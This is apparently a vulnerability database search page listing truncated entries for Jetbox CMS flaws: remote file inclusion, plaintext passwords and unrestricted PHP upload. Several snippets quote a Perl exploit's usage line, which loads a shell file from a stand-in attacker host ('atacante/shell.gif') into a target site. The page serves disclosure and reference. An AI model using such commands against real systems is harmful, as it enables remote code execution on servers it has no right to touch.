132 matches found
CVE-2006-2270
CVE-2006-2270 : Jetbox CMS 2.1 has a PHP remote file inclusion in includes/config.php that allows an attacker to execute arbitrary PHP code by providing a URL in the relative_script_path parameter. The documents do not provide exploitation details or a published patch in the supplied material. Re...
Jetbox CMS 2.1 - relative_script_path Remote File Inclusion
Jetbox CMS 2.1 - relativescriptpath Remote File Inclusion !/usr/bin/perl JetBox CMS Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://jetbox.streamedge.co...
Jetbox CMS <= 2.1 (relative_script_path) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ====================================================================== Jetbox CMS uso: perl own.pl perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor:...
Jetbox CMS <= 2.1 (relative_script_path) Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl JetBox CMS Remote File Include Exploit & Advisorie: beford xbefordx gmail com uso: perl own.pl host cmd-shell-url cmd-var perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: ? system$cmd; ? cmd variable: cmd;...
Jetbox CMS 2.1 - 'relative_script_path' Remote File Inclusion
!/usr/bin/perl JetBox CMS Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://jetbox.streamedge.com/ The file jetbox/includes/phpdig/includes/config.php use...
jetboxCMS.txt
!/usr/bin/perl JetBox CMS Remote File Include Exploit & Advisory: beford uso: perl own.pl perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://jetbox.streamedge.com/ The file jetbox/includes/phpdig/includes/config.php uses...
CVE-2004-1447
Jetbox One 2.0.8 and possibly other versions stores passwords in the database in plaintext, which could allow attackers to gain sensitive information...
CVE-2004-1447
Jetbox One 2.0.8 (and possibly other versions) stores passwords in the database in plaintext, exposing user credentials. Root cause: plaintext credential storage in the data store, enabling potential disclosure if the database is accessed. CVE-2004-1447 is described with a Medium base score (AV:N...
CVE-2004-1448
Jetbox One 2.0.8 and possibly other versions allow remote attackers with Author privileges in the IMAGES module to upload PHP files and execute arbitrary code...
CVE-2004-1448
CVE-2004-1448 affects Jetbox One 2.0.8 (and possibly other versions). The issue is an unrestricted remote file upload in the IMAGES module that allows users with Author privileges to upload PHP files, leading to arbitrary code execution on the server. The public records describe the vulnerability...
CVE-2004-1447
Jetbox One 2.0.8 and possibly other versions stores passwords in the database in plaintext, which could allow attackers to gain sensitive information...
CVE-2004-1448
Jetbox One 2.0.8 and possibly other versions allow remote attackers with Author privileges in the IMAGES module to upload PHP files and execute arbitrary code...